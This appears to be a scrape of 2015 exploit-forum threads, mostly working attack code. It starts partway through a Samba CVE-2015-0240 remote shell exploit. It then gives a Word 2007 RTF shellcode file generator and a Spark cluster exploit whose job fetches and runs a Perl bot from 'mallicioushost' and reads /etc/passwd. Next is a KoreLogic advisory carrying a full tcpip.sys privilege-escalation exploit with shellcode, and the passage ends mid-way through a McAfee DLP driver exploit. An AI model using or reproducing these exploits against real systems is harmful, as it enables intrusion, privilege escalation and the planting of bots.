0xf7d: { 'uint8t_offset': 0x710f7d, 'talloc_pop': 0x419f80, 'sock_exec': 0x00449770, 'version': '3.6.3-2ubuntu2.11'},
0xf1d: { 'uint8t_offset': 0x71ff1d, 'talloc_pop': 0x429e80, 'sock_exec': 0x004614b0, 'version': '3.6.6-6+deb7u4'},
}

leak_talloc_pop_addr(info) # to double check the bininfo
bininfo = smbd_info.get(info['uint8t_addr'] & 0xfff)
if bininfo is not None:
smbd_addr = info['uint8t_addr'] - bininfo['uint8t_offset']
if smbd_addr + bininfo['talloc_pop'] == info['talloc_pop_addr']:
# correct info
print('[+] detect smbd version: {:s}'.format(bininfo['version']))
info['smbd_addr'] = smbd_addr
info['sock_exec_addr'] = smbd_addr + bininfo['sock_exec']
print(' [*] smbd loaded addr: {:x}'.format(smbd_addr))
print(' [*] use sock_exec offset: {:x}'.format(bininfo['sock_exec']))
print(' [*] sock_exec addr: {:x}'.format(info['sock_exec_addr']))
else:
# wrong info
bininfo = None

got_shell = False
if bininfo is None:
# no target binary info. do a hard way to find them.
"""
leak smbd_server_connection_handler for 2 purposes
- to check if compiler does code alignment
- to estimate smbd loaded address
- gcc always puts smbd_server_connection_handler() function at
beginning area of .text section
- so the difference of smbd_server_connection_handler() offset is
very low for all smbd binary (compiled by gcc)
""" 
leak_smbd_server_connection_handler_addr(info)
find_smbd_base_addr(info)
dump_smbd_find_bininfo(info)

# code execution
if 'sock_exec_addr' in info and call_sock_exec(info):
s = get_socket()
print(s.recv(4096)) # wait for 'shell ready' message
s.send('uname -a\n')
print(s.recv(4096))
s.send('id\n')
print(s.recv(4096))
s.send('exit\n')
s.close()


def hex_int(x):
return int(x,16)

# command arguments
parser = argparse.ArgumentParser(description='Samba CVE-2015-0240 exploit')
parser.add_argument('target', help='target IP address')
parser.add_argument('-hs', '--heap_start', type=hex_int,
help='heap address in hex to start bruteforcing')
parser.add_argument('-pa', '--payload_addr', type=hex_int, 
help='exact payload (accountName) address in heap. If this is defined, no heap bruteforcing')
parser.add_argument('-sps', '--start_payload_size', type=int,
help='start payload size for bruteforcing heap address in KB. (128, 256, 512, ...)')

args = parser.parse_args()
requester.set_target(args.target)


try:
do_work(args)
except KeyboardInterrupt:
pass
Microsoft Office Word 2007 RTF Object Confusion
ID: 67686ba3b4103b69df379d23
Thread ID: 25731
Created: 2015-03-20T11:49:29+0000
Last Post: 2015-04-07T07:22:21+0000
Author: DarckSol
Prefix: Local
Replies: 3 Views: 1K

Code:Copy to clipboard

# Title : Microsoft Office Word 2007 - RTF Object Confusion ASLR and DEP bypass
# Date : 28/02/2015
# Author : R-73eN
# Software : Microsoft Office Word 2007
# Tested : Windows 7 Starter
  
  
import sys
# Windows Message Box / all versions . Thanks to Giuseppe D'amore for the shellcode .
shellcode = '31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e4661746175f2817e084578697475e98b7a2401c7668b2c6f8b7a1c01c78b7caffc01c76879746501686b656e42682042726f89e1fe490b31c05150ffd7'
#filecontent
content="{\\rtf1"
content+="{\\fonttbl{\\f0\\fnil\\fcharset0Verdana;}}"
content+="\\viewkind4\\uc1\\pard\\sb100\\sa100\\lang9\\f0\\fs22\\par"
content+="\\pard\\sa200\\sl276\\slmult1\\lang9\\fs22\\par"
content+="{\\object\\objocx"
content+="{\\*\\objdata"
content+="\n"
content+="01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E320000"
content+="00000000000000000E0000"
content+="\n"
content+="D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF09000600000000000000"
content+="00000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFF"
content+="FEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E007400"
content+="72007900000000000000000000000000000000000000000000000000000000000000000000000000"
content+="000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F0283628"
content+="0000000062eaDFB9340DCD014559DFB9340DCD0103000000000600000000000003004F0062006A00"
content+="49006E0066006F000000000000000000000000000000000000000000000000000000000000000000"
content+="0000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000600000000000000"
content+="03004F00430058004E0041004D004500000000000000000000000000000000000000000000000000"
content+="000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF"
content+="00000000000000000000000000000000000000000000000000000000000000000000000001000000"
content+="160000000000000043006F006E00740065006E007400730000000000000000000000000000000000"
content+="000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFF"
content+="FFFFFFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000"
content+="00000000020000007E05000000000000FEFFFFFFFEFFFFFF03000000040000000500000006000000"
content+="0700000008000000090000000A0000000B0000000C0000000D0000000E0000000F00000010000000"
content+="11000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"
content+="FFFFFFFFFFFFFFFF0092030004000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000004C00690073007400"
content+="56006900650077004100000000000000000000000000000000000000000000000000000000000000"
content+="0000000000000000000000000000000021433412080000006ab0822cbb0500004E087DEB01000600"
content+="1C000000000000000000000000060001560A000001EFCDAB00000500985D65010700000008000080"
content+="05000080000000000000000000000000000000001FDEECBD01000500901719000000080000004974"
content+="6D736400000002000000010000000C000000436F626A640000008282000082820000000000000000"
content+="000000000000"
content+= 'cb818278'# Address=788281CB jmp esp |  {PAGE_EXECUTE_READ} [msxml5.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.20.1072.0 (C:\Program Files\Common Files\Microsoft Shared\OFFICE11\msxml5.dll)
content+="9090909090909090" #nops
content+= shellcode
#junk
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000"
content+="00000000000000"
content+="\n"
content+="}"
content+="}"
content+="}"
banner = "\n\n"
banner +="  ___        __        ____                   _    _  \n"
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __        / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \      / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |    / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_|[] /_/   \_\_____|\n\n"
print banner
if(len(sys.argv) < 2):
    print '\n Usage : exploit.py filename.rtf'
else:
    filename = sys.argv[1]
    f=open(filename,"w")
    f.write(content)
    f.close()
    print '\n[ + ] File ' + sys.argv[1] + ' created [ + ]\n'
Apache Spark Cluster Arbitary
ID: 67686ba3b4103b69df379d24
Thread ID: 25753
Created: 2015-03-29T11:23:22+0000
Last Post: 2015-03-29T11:23:22+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Description:

Spark clusters which are not secured with proper firewall can be taken

over easily (Since it does not have

any authentication mechanism), this exploit simply runs arbitrary codes

over the cluster.

All you have to do is, find a vulnerable Spark cluster (usually runs on

port 7077) add that host to your

hosts list so that your system will recognize it (here its spark-b-akhil-

master pointing

to 54.155.61.87 in my /etc/hosts) and submit your Spark Job with arbitary

codes that you want to execute.

-----------------

Usage info:
git clone https://github.com/akhld/spark-exploit.git
cd spark-exploit
#Place the vuln host info in the file
vim exploit.scala
sbt run

Click to expand...

Code:Copy to clipboard

import org.apache.spark.{SparkContext, SparkConf}
 
    /**
     * Created by akhld on 23/3/15.
     */
 
    object Exploit {
      def main(arg: Array[String]) {
        val sconf = new SparkConf()
          .setMaster("spark://spark-b-akhil-master:7077") // Set this to the vulnerable URI
          .setAppName("Exploit")
          .set("spark.cores.max", "12")
          .set("spark.executor.memory", "10g")
          .set("spark.driver.host","hacked.work") // Set this to your host from where you launch the attack
 
        val sc = new SparkContext(sconf)
              sc.addJar("target/scala-2.10/spark-exploit_2.10-1.0.jar")
 
        val exploit = sc.parallelize(1 to 1).map(x=>{
           //Replace these with whatever you want to get executed
               val x = "wget https://mallicioushost/mal.pl -O bot.pl".!
           val y = "perl bot.pl".!
           scala.io.Source.fromFile("/etc/passwd").mkString
        })
        exploit.collect().foreach(println)
      }
    }
Microsoft Windows Server 2003 SP2
ID: 67686ba3b4103b69df379d25
Thread ID: 25637
Created: 2015-01-30T19:25:12+0000
Last Post: 2015-01-30T19:25:12+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

KL-001-2015-001 : Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation

Title: Microsoft Windows Server 2003 SP2 Arbitrary Write Privilege Escalation
Advisory ID: KL-001-2015-001
Publication Date: 2015.01.28
Publication URL: https://www.korelogic.com/Resources/Advisor...01-2015-001.txt

1. Vulnerability Details

Affected Vendor: Microsoft
Affected Product: TCP/IP Protocol Driver
Affected Version: 5.2.3790.4573
Platform: Microsoft Windows Server 2003 Service Pack 2
Architecture: x86, x64, Itanium
Impact: Privilege Escalation
Attack vector: IOCTL
CVE-ID: CVE-2014-4076

2. Vulnerability Description

The tcpip.sys driver fails to sufficiently validate memory
objects used during the processing of a user-provided IOCTL.

3. Technical Description

By crafting an input buffer that will be passed to the Tcp
device through the NtDeviceIoControlFile() function, it
is possible to trigger a vulnerability that would allow an
attacker to elevate privileges.

This vulnerability was discovered while fuzzing the tcpip.sys
driver. A collection of IOCTLs that could be targeted was
obtained and subsequently fuzzed. During this process, one of
the crashes obtained originated from the IOCTL 0x00120028.
This was performed on an x86 installation of Windows Server
2003, Service Pack 2.

ErrCode = 00000000
eax=00000000 ebx=859ef888 ecx=00000008 edx=00000100 esi=00000000 edi=80a58270
eip=f67ebbbd esp=f620a9c8 ebp=f620a9dc iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
tcpip!SetAddrOptions+0x1d:
f67ebbbd 8b5e28 mov ebx,dword ptr [esi+28h] ds:0023:00000028=????????

A second chance exception has occurred during a mov
instruction. This instruction is attempting to copy a pointer
value from an un-allocated address space. Since no pointer
can be found, an exception is generated.

Let's begin by reviewing the call stack:

kd> kv
*** Stack trace for last set context - .thread/.cxr resets it
ChildEBP RetAddr Args to Child
f620a9dc f67e416b f620aa34 00000022 00000004 tcpip!SetAddrOptions+0x1d (FPO: [Non-Fpo])
f620aa10 f67e40de f620aa34 859ef888 859ef8a0 tcpip!TdiSetInformationEx+0x539 (FPO: [Non-Fpo])
f620aa44 f67e3b24 85a733d0 85a73440 85a73440 tcpip!TCPSetInformationEx+0x8c (FPO: [Non-Fpo])
f620aa60 f67e3b51 85a733d0 85a73440 85a733d0 tcpip!TCPDispatchDeviceControl+0x149 (FPO: [Non-Fpo])
f620aa98 8081d7d3 85c4b410 85a733d0 85e82390 tcpip!TCPDispatch+0xf9 (FPO: [Non-Fpo])
f620aaac 808ef85d 85a73440 85e82390 85a733d0 nt!IofCallDriver+0x45 (FPO: [Non-Fpo])
f620aac0 808f05ff 85c4b410 85a733d0 85e82390 nt!IopSynchronousServiceTail+0x10b (FPO: [Non-Fpo])
f620ab5c 808e912e 000006f4 00000000 00000000 nt!IopXxxControlFile+0x5e5 (FPO: [Non-Fpo])
f620ab90 f55c10fa 000006f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a (FPO: [Non-Fpo])

The nt!NtDeviceIoControlFile() function was called, creating
a chain of subsequent function calls that eventually led to
the tcpip!SetAddrOptions() function being called.

By de-constructing the call to nt!NtDeviceIoControlFile() we
can derive all required information to re-create this exception.

0a b940dd34 80885614 nt!NtDeviceIoControlFile+0x2a
eax=00000000 ebx=8c785070 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=808e912e esp=b940dd08 ebp=b940dd34 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
nt!NtDeviceIoControlFile+0x2a:
808e912e 5d pop ebp
kd> db [ebp+2C] L?0x4
b940dd60 00 00 00 00 ....
kd> db [ebp+28] L?0x4
b940dd5c 00 00 00 00 ....
kd> db [ebp+24] L?0x4
b940dd58 20 00 00 00 ...
kd> db [ebp+20] L?0x4
b940dd54 00 11 00 00 ....
kd> db [ebp+1c] L?0x4
b940dd50 28 00 12 00 (...
kd> db [ebp+18] L?0x4
b940dd4c 58 4f bd 00 XO..
kd> db [ebp+14] L?0x4
b940dd48 00 00 00 00 ....
kd> db [ebp+10] L?0x4
b940dd44 00 00 00 00 ....
kd> db [ebp+0c] L?0x4
b940dd40 00 00 00 00 ....
kd> db [ebp+8] L?0x4
b940dd3c b8 06 00 00 ....

The inputBuffer for this call references memory at 0x1000 with
a length of 0x20.

kd> db 0x1100 L?0x20
00001100 00 04 00 00 00 00 00 00-00 02 00 00 00 02 00 00 ................
00001110 22 00 00 00 04 00 00 00-00 00 01 00 00 00 00 00 "...............

After review of the tcpip.sys driver, some memory trickery
was created to control the code flow until the instruction
pointer could be controlled in a way that would be beneficial
to an attacker.

kd> db 0x28 L?0x11
00000028 87 ff ff 38 00 00 00 00-00 00 00 00 00 00 00 00 ...8............
00000038 01

eax=00000000 ebx=80a58290 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=0000002a esp=b940db3c ebp=b940db60 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
0000002a ff ???

Since the instruction pointer now contains 0x0000002a,
exploitation becomes trivial. Merely allocating the desired
payload for execution at this memory address will allow for
unprivileged users to run their payload within a privileged
process.

4. Mitigation and Remediation Recommendation

The vendor has issued a patch for this
vulnerability, the details of which are presented
in the vendor's public acknowledgment MS14-070
(https://technet.microsoft.com/library/security/MS14-070).

5. Credit

This vulnerability was discovered by Matt Bergin of KoreLogic
Security, Inc.

6. Disclosure Timeline

2014.04.28 - Initial contact; sent Microsoft report and PoC.
2014.04.28 - Microsoft requests PoC.
2014.04.29 - KoreLogic resends PoC from the initial contact
email.
2014.04.29 - Microsoft acknowledges receipt of vulnerability
report.
2014.04.29 - Microsoft opens case 19010 (MSRC 0050929) to
investigate the vulnerability.
2014.04.30 - Microsoft informs KoreLogic that the case is
actively being investigated.
2014.05.30 - Microsoft informs KoreLogic that the case is
actively being investigated.
2014.06.11 - KoreLogic informs Microsoft that 30 business days
have passed since vendor acknowledgment of the
initial report. KoreLogic requests CVE number for
the vulnerability, if there is one. KoreLogic
also requests vendor's public identifier for the
vulnerability along with the expected disclosure
date.
2014.06.24 - KoreLogic informs Microsoft that no response was
received following the 06.11.14 email. KoreLogic
requests CVE number for the vulnerability, if
there is one. KoreLogic also requests vendor's
public identifier for the vulnerability along with
the expected disclosure date.
2014.06.24 - Microsoft replies to KoreLogic that they have
reproduced the vulnerability and are determining
how to proceed with the supplied information.
They are not able to provide a CVE or an expected
disclosure date.
2014.07.02 - 45 business days have elapsed since Microsoft
acknowledged receipt of the vulnerability report
and PoC.
2014.07.17 - KoreLogic requests CVE number for the
vulnerability. KoreLogic also requests vendor's
public identifier for the vulnerability along with
the expected disclosure date.
2014.08.18 - Microsoft notifies KoreLogic that they have a CVE
but are not willing to share it with KoreLogic at
this time.
2014.09.08 - KoreLogic requests CVE number for the
vulnerability. KoreLogic also requests vendor's
public identifier for the vulnerability along with
the expected disclosure date.
2014.09.11 - Microsoft responds saying that the vulnerability
is expected to be disclosed in "a Fall release"
and that "it is currently looking good for
October." Does not provide CVE.
2014.09.24 - Microsoft informs KoreLogic that there was a
packaging issue and that the patch will be pushed
to November.
2014.11.03 - Microsoft confirms the patch will ship in November.
2014.11.11 - Vulnerability publicly disclosed by Microsoft as
issue MS14-070 with CVE-2014-4076.
2015.01.28 - KoreLogic releases advisory.

7. Exploit
"""

Click to expand...

Code:Copy to clipboard

     #!/usr/bin/python2
     #
     # KL-001-2015-001 / MS14-070 / CVE-2014-4076
     # Microsoft Windows Server 2003 x86 Tcpip.sys Privilege Escalation
     # Matt Bergin @ KoreLogic / Level @ Smash the Stack
     # shout out to bla
     #
 
     from optparse import OptionParser
     from subprocess import Popen
     from os.path import exists
     from struct import pack
     from time import sleep
     from ctypes import *
     from sys import exit
 
     CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory =
windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory
     DeviceIoControlFile,CloseHandle = windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle
     INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0
 
     def spawn_process(path):
         process = Popen([path],shell=True)
         pid = process.pid
         return
 
     def main():
         print "CVE-2014-4076 x86 exploit, Level\n"
         global pid, process
         parser = OptionParser()
         parser.add_option("--path",dest="path",help="path of process to start and elevate")
         parser.add_option("--pid",dest="pid",help="pid of running process to elevate")
         o,a = parser.parse_args()
         if (o.path == None and o.pid == None):
             print "[!] no path or pid set"
             exit(1)
         else:
             if (o.path != None):
           if (exists(o.path) != True):
         print "[!] path does not exist"
         exit(1)
           else:
                   Thread(target=spawn_process,args=(o.path),name='attacker-cmd').start()
             if (o.pid != None):
                 try:
                     pid = int(o.pid)
                 except:
                     print "[!] could not convert PID to an interger."
                     exit(1)
         while True:
                 if ("pid" not in globals()):
                     sleep(1)
                 else:
                     print "[+] caught attacker cmd at %s, elevating now" % (pid)
                     break
         buf =
"\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
         sc =
"\x60\x64\xA1\x24\x01\x00\x00\x8B\x40\x38\x50\xBB\x04\x00\x00\x00\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x8B\xB8\xD8\x00\x00\x00\x83\xE7\xF8\x58\xBB\x41\x41\x41\x41\x8B\x80\x98\x00\x00\x00\x2D\x98\x00\x00\x00\x39\x98\x94\x00\x00\x00\x75\xED\x89\xB8\xD8\x00\x00\x00\x61\xBA\x11\x11\x11\x11\xB9\x22\x22\x22\x22\xB8\x3B\x00\x00\x00\x8E\xE0\x0F\x35\x00"
         sc = sc.replace("\x41\x41\x41\x41",pack('<L',pid))
         sc = sc.replace("\x11\x11\x11\x11","\x39\xff\xa2\xba")
         sc = sc.replace("\x22\x22\x22\x22","\x00\x00\x00\x00")           
         handle = CreateFileA("\\\\.\\Tcp",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)
         if (handle == -1):
             print "[!] could not open handle into the Tcp device"
             exit(1)
         print "[+] allocating memory"             
         ret_one = NtAllocateVirtualMemory(-1,byref(c_int(0x1000)),0x0,byref(c_int(0x4000)),0x1000|0x2000,0x40)
         if (ret_one != 0):
             print "[!] could not allocate memory..."
             exit(1)
         print "[+] writing relevant memory..."
         ret_two = WriteProcessMemory(-1, 0x28, "\x87\xff\xff\x38", 4, byref(c_int(0)))
         ret_three = WriteProcessMemory(-1, 0x38, "\x00"*2, 2, byref(c_int(0)))
         ret_four = WriteProcessMemory(-1, 0x1100, buf, len(buf), byref(c_int(0)))
         ret_five = WriteProcessMemory(-1, 0x2b, "\x00"*2, 2, byref(c_int(0)))
         ret_six = WriteProcessMemory(-1, 0x2000, sc, len(sc), byref(c_int(0)))
         print "[+] attack setup done, crane kick!"
         DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x00120028,0x1100,len(buf),0x0,0x0)
         CloseHandle(handle)
         exit(0)
 
     if __name__=="__main__":
         main()
 
"""
The contents of this advisory are copyright(c) 2015
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/
 
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html
 
Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v1.0.txt
McAfee Data Loss Prevention Endpoint
ID: 67686ba3b4103b69df379d26
Thread ID: 25636
Created: 2015-01-30T19:21:44+0000
Last Post: 2015-01-30T19:21:44+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

/*

Exploit Title - McAfee Data Loss Prevention Endpoint Arbitrary Write Privilege Escalation
Date - 29th January 2015
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.mcafee.com
Tested Version - 9.3.200.23
Driver Version - 9.3.200.23 - hdlpctrl.sys
Tested on OS - 32bit Windows XP SP3 and Windows 2003 Server SP2
OSVDB - http://www.osvdb.org/show/osvdb/117345
CVE ID - CVE-2015-1305
Vendor fix url - https://kc.mcafee.com/corporate/index?page=...tent&id=SB10097
Fixed version - 9.3.400
Fixed driver ver -

*/

Click to expand...

Code:Copy to clipboard

#include <stdio.h>
#include <windows.h>
  
#define BUFSIZE 4096
  
  
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
     PVOID   Unknown1;
     PVOID   Unknown2;
     PVOID   Base;
     ULONG   Size;
     ULONG   Flags;
     USHORT  Index;
     USHORT  NameLength;
     USHORT  LoadCount;
     USHORT  PathLength;
     CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
   
typedef struct _SYSTEM_MODULE_INFORMATION {
     ULONG   Count;
     SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
  
typedef enum _SYSTEM_INFORMATION_CLASS {
     SystemModuleInformation = 11,
     SystemHandleInformation = 16
